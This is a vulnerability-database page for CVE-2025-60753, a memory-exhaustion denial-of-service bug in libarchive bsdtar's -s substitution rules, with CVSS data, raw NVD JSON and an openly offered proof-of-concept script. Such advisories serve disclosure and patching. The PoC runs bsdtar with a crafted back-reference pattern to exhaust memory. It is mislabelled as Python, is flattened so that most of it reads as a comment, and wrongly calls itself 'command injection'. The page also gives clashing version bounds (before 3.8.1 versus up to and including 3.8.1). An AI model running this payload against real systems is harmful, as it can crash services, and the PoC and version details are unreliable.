Security Vulnerability Report
中文
CVE-2025-60753 CVSS 5.5 MEDIUM

CVE-2025-60753

Published: 2025-11-05 16:15:40
Last Modified: 2026-02-04 21:19:46

Description

An issue was discovered in libarchive bsdtar before version 3.8.1 in function apply_substitution in file tar/subst.c when processing crafted -s substitution rules. This can cause unbounded memory allocation and lead to denial of service (Out-of-Memory crash).

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:libarchive:libarchive:*:*:*:*:*:*:*:* - VULNERABLE
libarchive bsdtar < 3.8.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2025-60753 PoC - Memory exhaustion via crafted -s substitution rules # Target: libarchive bsdtar < 3.8.1 # Usage: ./poc.sh malicious_archive.tar # Create a test archive with multiple files mkdir -p test_dir for i in $(seq 1 100); do touch "test_dir/file_$i.txt" done # Create archive tar -cf test_archive.tar test_dir # Trigger vulnerability with crafted substitution rule # The pattern causes unbounded memory allocation bsdtar -xf test_archive.tar -s '.*/\(.*\)/\1\1\1\1\1\1\1\1/g' # Alternative PoC - Direct command injection # This pattern with back-references can cause memory exhaustion # bsdtar -cf malicious.tar -s 'a/\(.*\)/\1\1\1\1\1\1\1\1\1\1/g' *

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60753", "sourceIdentifier": "[email protected]", "published": "2025-11-05T16:15:40.430", "lastModified": "2026-02-04T21:19:45.610", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in libarchive bsdtar before version 3.8.1 in function apply_substitution in file tar/subst.c when processing crafted -s substitution rules. This can cause unbounded memory allocation and lead to denial of service (Out-of-Memory crash)."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}, {"lang": "en", "value": "CWE-835"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:libarchive:libarchive:*:*:*:*:*:*:*:*", "versionEndIncluding": "3.8.1", "matchCriteriaId": "38EFBDEB-6861-41B1-801C-E7A5BAD7C0BC"}]}]}], "references": [{"url": "https://github.com/Papya-j/CVE/tree/main/CVE-2025-60753", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/libarchive/libarchive/issues/2725", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Patch"]}]}}